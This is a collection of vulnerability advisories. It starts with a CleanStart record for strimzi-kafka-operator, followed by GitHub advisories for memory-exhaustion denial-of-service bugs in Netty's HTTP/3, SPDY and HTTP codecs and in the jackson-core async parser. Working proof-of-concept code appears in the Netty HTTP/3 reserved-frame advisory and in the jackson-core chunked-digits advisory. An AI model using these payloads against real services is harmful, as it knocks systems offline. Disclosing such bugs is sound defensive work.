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Vulnerability from cleanstart
Package strimzi-kafka-operator version 1.1.0-r2 fixes 25 vulnerabilities: CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-56746, CVE-2026-59898...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "strimzi-kafka-operator"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.0-r2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.1.0-r2"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package strimzi-kafka-operator version 1.1.0-r2 fixes 25 vulnerabilities: CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-56746, CVE-2026-59898...",
"id": "CLEANSTART-2026-VJ08145",
"modified": "2026-08-14T05:57:48Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/strimzi/strimzi-kafka-operator"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in strimzi-kafka-operator 1.1.0-r2",
"upstream": [
"CVE-2026-55831",
"CVE-2026-55833",
"CVE-2026-56745",
"CVE-2026-56746",
"CVE-2026-59898",
"CVE-2026-59899",
"CVE-2026-59921",
"CVE-2026-56816",
"CVE-2026-59901",
"CVE-2026-59900",
"CVE-2026-10051",
"CVE-2026-6790",
"ghsa-mvh2-crg5-v77c",
"ghsa-6jqx-86gh-f27w",
"ghsa-jppx-w49h-x2qq",
"ghsa-6cqp-g7gg-8hr5",
"ghsa-4mp9-239f-g9hg",
"ghsa-gcjf-9mgh-3p7g",
"ghsa-q4f6-jm68-57ww",
"ghsa-hpcc-26xq-25fv",
"ghsa-558v-64gr-wgg4",
"ghsa-c69g-56f8-xwqj",
"ghsa-f4v5-65jj-pcr2",
"ghsa-7p3p-8qv8-m2vh",
"ghsa-r7wm-3cxj-wff9"
]
}
GHSA-HPCC-26XQ-25FV
Vulnerability from github – Published: 2026-07-22 21:42 – Updated: 2026-07-22 21:42Summary
Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.
Details
io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame handles reserved frame types as follows:
// Handling reserved frame types
// https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8
if (in.readableBytes() < payLoadLength) {
return 0;
}
The payLoadLength is read directly from the wire and trusted implicitly. Since payLoadLength can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.
This allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.
PoC
@Test
public void test() throws Exception {
EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
try {
X509Bundle cert = new CertificateBuilder()
.subject("cn=localhost")
.setIsCertificateAuthority(true)
.buildSelfSigned();
QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
CountDownLatch serverConnectionClosed = new CountDownLatch(1);
ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()
.sslContext(serverContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10_000_000)
.initialMaxStreamDataBidirectionalLocal(1_000_000)
.initialMaxStreamDataBidirectionalRemote(1_000_000)
.initialMaxStreamsBidirectional(100)
.tokenHandler(InsecureQuicTokenHandler.INSTANCE)
.handler(new ChannelInitializer<QuicChannel>() {
@Override
protected void initChannel(QuicChannel ch) {
ch.closeFuture().addListener(f -> serverConnectionClosed.countDown());
ch.pipeline().addLast(new Http3ServerConnectionHandler(
new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
cause.printStackTrace();
ctx.close();
}
}));
}
})
.build();
Channel server = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(serverCodec)
.bind("127.0.0.1", 0)
.sync()
.channel();
QuicSslContext clientContext = QuicSslContextBuilder.forClient()
.trustManager(InsecureTrustManagerFactory.INSTANCE)
.applicationProtocols(Http3.supportedApplicationProtocols())
.build();
ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()
.sslContext(clientContext)
.maxIdleTimeout(5000, TimeUnit.MILLISECONDS)
.initialMaxData(10_000_000)
.initialMaxStreamDataBidirectionalLocal(1_000_000)
.build();
Channel client = new Bootstrap()
.group(group)
.channel(NioDatagramChannel.class)
.handler(clientCodec)
.bind(0)
.sync()
.channel();
QuicChannel quicChannel = QuicChannel.newBootstrap(client)
.handler(new Http3ClientConnectionHandler())
.remoteAddress(server.localAddress())
.localAddress(client.localAddress())
.connect()
.get();
QuicStreamChannel rawStream =
quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();
ByteBuf header = Unpooled.buffer();
// Write reserved frame type (64)
header.writeByte(0x40);
header.writeByte(0x40);
// Write payload length (Integer.MAX_VALUE)
header.writeByte(0xC0);
header.writeByte(0x00);
header.writeByte(0x00);
header.writeByte(0x00);
header.writeByte(0x7F);
header.writeByte(0xFF);
header.writeByte(0xFF);
header.writeByte(0xFF);
rawStream.write(header);
// Write the maximum allowed payload
int payloadSize = 1_000_000;
ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]);
rawStream.writeAndFlush(payload).sync();
assertTrue(quicChannel.isActive());
quicChannel.closeFuture().await(5, TimeUnit.SECONDS);
server.close().sync();
client.close().sync();
} finally {
group.shutdownGracefully();
}
}
Impact
Denial of Service due to gradual memory exhaustion. Any application using Netty's HTTP/3 codec is impacted.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56816"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:42:42Z",
"nvd_published_at": "2026-07-21T22:17:14Z",
"severity": "HIGH"
},
"details": "### Summary\nNetty\u0027s Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.\n\n### Details\n`io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame` handles reserved frame types as follows:\n\n```java\n // Handling reserved frame types\n // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8\n if (in.readableBytes() \u003c payLoadLength) {\n return 0;\n }\n```\n\nThe `payLoadLength` is read directly from the wire and trusted implicitly. Since `payLoadLength` can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.\n\nThis allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.\n\n### PoC\n\n```java\n @Test\n public void test() throws Exception {\n EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());\n try {\n X509Bundle cert = new CertificateBuilder()\n .subject(\"cn=localhost\")\n .setIsCertificateAuthority(true)\n .buildSelfSigned();\n\n QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())\n .applicationProtocols(Http3.supportedApplicationProtocols())\n .build();\n\n CountDownLatch serverConnectionClosed = new CountDownLatch(1);\n\n ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()\n .sslContext(serverContext)\n .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n .initialMaxData(10_000_000)\n .initialMaxStreamDataBidirectionalLocal(1_000_000)\n .initialMaxStreamDataBidirectionalRemote(1_000_000)\n .initialMaxStreamsBidirectional(100)\n .tokenHandler(InsecureQuicTokenHandler.INSTANCE)\n .handler(new ChannelInitializer\u003cQuicChannel\u003e() {\n @Override\n protected void initChannel(QuicChannel ch) {\n ch.closeFuture().addListener(f -\u003e serverConnectionClosed.countDown());\n ch.pipeline().addLast(new Http3ServerConnectionHandler(\n new ChannelInboundHandlerAdapter() {\n @Override\n public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n cause.printStackTrace();\n ctx.close();\n }\n }));\n }\n })\n .build();\n\n Channel server = new Bootstrap()\n .group(group)\n .channel(NioDatagramChannel.class)\n .handler(serverCodec)\n .bind(\"127.0.0.1\", 0)\n .sync()\n .channel();\n\n QuicSslContext clientContext = QuicSslContextBuilder.forClient()\n .trustManager(InsecureTrustManagerFactory.INSTANCE)\n .applicationProtocols(Http3.supportedApplicationProtocols())\n .build();\n\n ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()\n .sslContext(clientContext)\n .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n .initialMaxData(10_000_000)\n .initialMaxStreamDataBidirectionalLocal(1_000_000)\n .build();\n\n Channel client = new Bootstrap()\n .group(group)\n .channel(NioDatagramChannel.class)\n .handler(clientCodec)\n .bind(0)\n .sync()\n .channel();\n\n QuicChannel quicChannel = QuicChannel.newBootstrap(client)\n .handler(new Http3ClientConnectionHandler())\n .remoteAddress(server.localAddress())\n .localAddress(client.localAddress())\n .connect()\n .get();\n\n QuicStreamChannel rawStream =\n quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();\n\n ByteBuf header = Unpooled.buffer();\n\n // Write reserved frame type (64)\n header.writeByte(0x40);\n header.writeByte(0x40);\n\n // Write payload length (Integer.MAX_VALUE)\n header.writeByte(0xC0);\n header.writeByte(0x00);\n header.writeByte(0x00);\n header.writeByte(0x00);\n header.writeByte(0x7F);\n header.writeByte(0xFF);\n header.writeByte(0xFF);\n header.writeByte(0xFF);\n\n rawStream.write(header);\n\n // Write the maximum allowed payload\n int payloadSize = 1_000_000;\n ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]);\n rawStream.writeAndFlush(payload).sync();\n\n assertTrue(quicChannel.isActive());\n\n quicChannel.closeFuture().await(5, TimeUnit.SECONDS);\n server.close().sync();\n client.close().sync();\n } finally {\n group.shutdownGracefully();\n }\n }\n```\n\n### Impact\nDenial of Service due to gradual memory exhaustion. Any application using Netty\u0027s HTTP/3 codec is impacted.",
"id": "GHSA-hpcc-26xq-25fv",
"modified": "2026-07-22T21:42:43Z",
"published": "2026-07-22T21:42:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56816"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types"
}
GHSA-JPPX-W49H-X2QQ
Vulnerability from github – Published: 2026-07-22 21:32 – Updated: 2026-07-22 21:32The SpdyHttpDecoder handler in Netty's SPDY-to-HTTP codec allocates a pooled ByteBuf when processing a client-initiated SYN_STREAM frame with FLAG_FIN=0, storing the partially-constructed FullHttpRequest in an internal map (messageMap) to accumulate subsequent DATA frames. When the remote peer sends an RST_STREAM for that stream, or when the accumulated content exceeds maxContentLength, the decoder removes the entry from the map but never releases the pooled ByteBuf, permanently leaking the allocated memory.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.15.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.135.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0.Final"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56745"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:32:24Z",
"nvd_published_at": "2026-07-21T22:17:14Z",
"severity": "HIGH"
},
"details": "The `SpdyHttpDecoder` handler in Netty\u0027s SPDY-to-HTTP codec allocates a pooled `ByteBuf` when processing a client-initiated `SYN_STREAM` frame with `FLAG_FIN=0`, storing the partially-constructed `FullHttpRequest` in an internal map (`messageMap`) to accumulate subsequent `DATA` frames. When the remote peer sends an `RST_STREAM` for that stream, or when the accumulated content exceeds `maxContentLength`, the decoder removes the entry from the map but **never releases the pooled ByteBuf**, permanently leaking the allocated memory.",
"id": "GHSA-jppx-w49h-x2qq",
"modified": "2026-07-22T21:32:24Z",
"published": "2026-07-22T21:32:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-jppx-w49h-x2qq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56745"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty: [SpdyHttpDecoder] ByteBuf Reference Leak on RST_STREAM Leads to Native Memory Exhaustion"
}
GHSA-MVH2-CRG5-V77C
Vulnerability from github – Published: 2026-07-22 21:23 – Updated: 2026-07-22 21:23Summary
Netty SPDY header decoding continues inflating zlib-compressed header blocks after the raw header parser has already exceeded maxHeaderSize and marked the frame truncated. At commit b2d2137c4404af425bf9d5d601a62576f5c06925, a 12,253-byte compressed SPDY header block can declare and inflate a 12 MiB header-name field with maxHeaderSize=16, forcing compression-amplified decode and skip work in a reachable SpdyFrameCodec pipeline.
PoC
run with:
bash ./poc/run.sh
expected output:
NETTY_SPDY_ZLIB_DECODED_AFTER_LIMIT_TRIGGERED compressed_bytes=12253 declared_name_length=12582912 max_header_size=16 truncated=true invalid=false
The fingerprint means the compressed input was fully consumed while the raw header parser ended with truncated=true and invalid=false after processing the oversized decoded name. That specific state distinguishes this bug from a generic setup failure: the maxHeaderSize guard fired, but the zlib/raw decode path still inflated and skipped the full 12 MiB declared name.
Impact
A remote unauthenticated peer that can speak SPDY to a Netty pipeline containing SpdyFrameCodec can send a small compressed HEADERS block that expands into much larger raw header data after the configured maxHeaderSize limit has already been exceeded. The attack requires a reachable SPDY codec, ordinary transport setup such as TCP and optional TLS, and no independent compressed-frame-size or connection-rate limit ahead of SpdyFrameCodec. The satisfied protocol guards are straightforward: the HEADERS frame uses a nonzero stream id and length >= 4, the decoder factory selects the zlib decoder, the payload uses the SPDY dictionary, and the raw block appends a zero-length value so the already-truncated frame reaches END_HEADER_BLOCK. The user-visible effect is denial of service through compression-amplified CPU and allocation churn.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.15.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.135.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0.Final"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55833"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:23:05Z",
"nvd_published_at": "2026-07-21T00:17:35Z",
"severity": "HIGH"
},
"details": "### Summary\nNetty SPDY header decoding continues inflating zlib-compressed header blocks after the raw header parser has already exceeded maxHeaderSize and marked the frame truncated. At commit b2d2137c4404af425bf9d5d601a62576f5c06925, a 12,253-byte compressed SPDY header block can declare and inflate a 12 MiB header-name field with maxHeaderSize=16, forcing compression-amplified decode and skip work in a reachable SpdyFrameCodec pipeline.\n\n### PoC\n[poc.zip](https://github.com/user-attachments/files/28445780/poc.zip)\n\nrun with:\n```bash\nbash ./poc/run.sh\n```\nexpected output:\n```text\nNETTY_SPDY_ZLIB_DECODED_AFTER_LIMIT_TRIGGERED compressed_bytes=12253 declared_name_length=12582912 max_header_size=16 truncated=true invalid=false\n```\n\nThe fingerprint means the compressed input was fully consumed while the raw header parser ended with `truncated=true` and `invalid=false` after processing the oversized decoded name. That specific state distinguishes this bug from a generic setup failure: the maxHeaderSize guard fired, but the zlib/raw decode path still inflated and skipped the full 12 MiB declared name.\n\n### Impact\nA remote unauthenticated peer that can speak SPDY to a Netty pipeline containing SpdyFrameCodec can send a small compressed HEADERS block that expands into much larger raw header data after the configured maxHeaderSize limit has already been exceeded. The attack requires a reachable SPDY codec, ordinary transport setup such as TCP and optional TLS, and no independent compressed-frame-size or connection-rate limit ahead of SpdyFrameCodec. The satisfied protocol guards are straightforward: the HEADERS frame uses a nonzero stream id and length \u003e= 4, the decoder factory selects the zlib decoder, the payload uses the SPDY dictionary, and the raw block appends a zero-length value so the already-truncated frame reaches END_HEADER_BLOCK. The user-visible effect is denial of service through compression-amplified CPU and allocation churn.",
"id": "GHSA-mvh2-crg5-v77c",
"modified": "2026-07-22T21:23:05Z",
"published": "2026-07-22T21:23:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-mvh2-crg5-v77c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55833"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty SPDY zlib header block continues decoded expansion after maxHeaderSize truncation"
}
GHSA-Q4F6-JM68-57WW
Vulnerability from github – Published: 2026-07-22 21:49 – Updated: 2026-07-22 21:49Impact
HttpContentEncoder (the superclass of the production handler HttpContentCompressor) maintains a per-channel ArrayDeque<CharSequence> named acceptEncodingQueue that accumulates attacker-controlled data without any size limit. The queue is filled on the I/O thread for every inbound HTTP request and drained only when the application later writes a non-1xx response. This creates a resource exhaustion vulnerability when an attacker exploits HTTP/1.1 pipelining to flood the connection with requests faster than the application produces responses.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.15.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59899"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:49:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n`HttpContentEncoder` (the superclass of the production handler `HttpContentCompressor`) maintains a per-channel `ArrayDeque\u003cCharSequence\u003e` named `acceptEncodingQueue` that accumulates attacker-controlled data without any size limit. The queue is filled on the I/O thread for every inbound HTTP request and drained only when the application later writes a non-1xx response. This creates a resource exhaustion vulnerability when an attacker exploits HTTP/1.1 pipelining to flood the connection with requests faster than the application produces responses.",
"id": "GHSA-q4f6-jm68-57ww",
"modified": "2026-07-22T21:49:13Z",
"published": "2026-07-22T21:49:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-q4f6-jm68-57ww"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty: [HttpContentEncoder] Unbounded Per-Connection Queue Growth via HTTP/1.1 Pipelining Leads to Denial of Service"
}
GHSA-R7WM-3CXJ-WFF9
Vulnerability from github – Published: 2026-07-21 21:58 – Updated: 2026-08-03 20:30Summary
The fix released in jackson-core 2.18.6 and 2.21.1 for GHSA-72hv-8253-57qq (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit b0c428e6 (#1555) wired validateIntegerLength into a new _setIntLength helper and called it at every place where the integer portion of a number is decided (terminator byte arrived, . / e/E seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside MINOR_NUMBER_INTEGER_DIGITS, return NOT_AVAILABLE to caller".
As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows on every chunk, and validateIntegerLength is never invoked. The accumulator is only gated by maxStringLength (20 MiB default) — a ~20,000x amplification of the documented maxNumberLength (1000 default).
This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the fraction path is correct (see _finishFloatFraction at line 1834-1837 of NonBlockingUtf8JsonParserBase.java in 2.18.6, where _setFractLength(fractLen) IS called before the NOT_AVAILABLE return); the equivalent call is missing from every integer-digit path.
Affected versions
Verified on the patched releases:
- com.fasterxml.jackson.core:jackson-core 2.18.6
- com.fasterxml.jackson.core:jackson-core 2.21.1
Structurally identical code in tools.jackson.core 3.0.x / 3.1.x — same NonBlockingUtf8JsonParserBase class, same _setIntLength rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.
Affected code
src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java in 2.18.6 / 2.21.1.
Site 1 — _startPositiveNumber(int ch) lines 1320-1330:
if (outPtr >= outBuf.length) {
// NOTE: must expand to ensure contents all in a single buffer (to keep
// other parts of parsing simpler)
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (++_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr)
}
Site 2 — _finishNumberIntegralPart lines 1691-1727:
protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
int negMod = _numberNegative ? -1 : 0;
while (true) {
if (_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr + negMod)
}
int ch = getByteFromBuffer(_inputPtr) & 0xFF;
if (ch < INT_0) {
if (ch == INT_PERIOD) {
_setIntLength(outPtr+negMod); // <-- validated here
++_inputPtr;
return _startFloat(outBuf, outPtr, ch);
}
break;
}
if (ch > INT_9) {
if ((ch | 0x20) == INT_e) {
_setIntLength(outPtr+negMod); // <-- validated here
++_inputPtr;
return _startFloat(outBuf, outPtr, ch);
}
break;
}
++_inputPtr;
if (outPtr >= outBuf.length) {
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
}
_setIntLength(outPtr+negMod); // <-- validated here
_textBuffer.setCurrentLength(outPtr);
return _valueComplete(JsonToken.VALUE_NUMBER_INT);
}
The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length.
Compare with the fraction path that is correct
_finishFloatFraction lines 1827-1838:
while (loop) {
if (ch >= INT_0 && ch <= INT_9) {
++fractLen;
if (outPtr >= outBuf.length) {
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (_inputPtr >= _inputEnd) {
_textBuffer.setCurrentLength(outPtr);
_setFractLength(fractLen); // <-- VALIDATED
return JsonToken.NOT_AVAILABLE;
}
ch = getNextSignedByteFromBuffer();
}
...
}
Impact
Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping JsonFactory.createNonBlockingByteArrayParser() or createNonBlockingByteBufferParser()) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set StreamReadConstraints.builder().maxNumberLength(N) on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to maxStringLength (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.
The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser on complete input are not affected — those paths go through _setIntLength or ParserBase._reportTooLongIntegral correctly.
CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.
Proof of concept
Standalone PoC, no Maven required:
mkdir poc && cd poc
curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar
cat > PoC.java <<'EOF'
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;
public class PoC {
public static void main(String[] args) throws Exception {
StreamReadConstraints strict = StreamReadConstraints.builder()
.maxNumberLength(1000)
.build();
JsonFactory f = new JsonFactoryBuilder()
.streamReadConstraints(strict)
.build();
// Sanity: synchronous parser rejects 5000-digit int.
try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) {
while (p.nextToken() != null) { /* drive */ }
System.out.println("[-] BUG ABSENT: sync parser accepted");
return;
} catch (Exception e) {
System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName());
}
// Bug: async parser, chunked, no terminator.
JsonParser ap = f.createNonBlockingByteArrayParser();
ByteArrayFeeder feeder = (ByteArrayFeeder) ap;
byte[] preamble = "{\"v\":".getBytes("UTF-8");
feeder.feedInput(preamble, 0, preamble.length);
while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }
byte[] digits = new byte[16 * 1024];
for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));
for (int c = 0; c < 600; c++) {
feeder.feedInput(digits, 0, digits.length);
JsonToken t = ap.nextToken();
if (t != JsonToken.NOT_AVAILABLE) {
System.out.println("[-] unexpected token: " + t);
return;
}
}
System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000");
// Closing the number now finally triggers the validator.
feeder.feedInput("}".getBytes("UTF-8"), 0, 1);
feeder.endOfInput();
try {
while (ap.nextToken() != null) { /* drive */ }
} catch (Exception e) {
System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]);
}
ap.close();
}
}
EOF
javac -cp jackson-core-2.18.6.jar PoC.java
java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC
Observed output against jackson-core-2.18.6:
[+] sync parser rejected 5000-digit int: StreamConstraintsException
[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000
[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)
Observed output against jackson-core-2.21.1: identical.
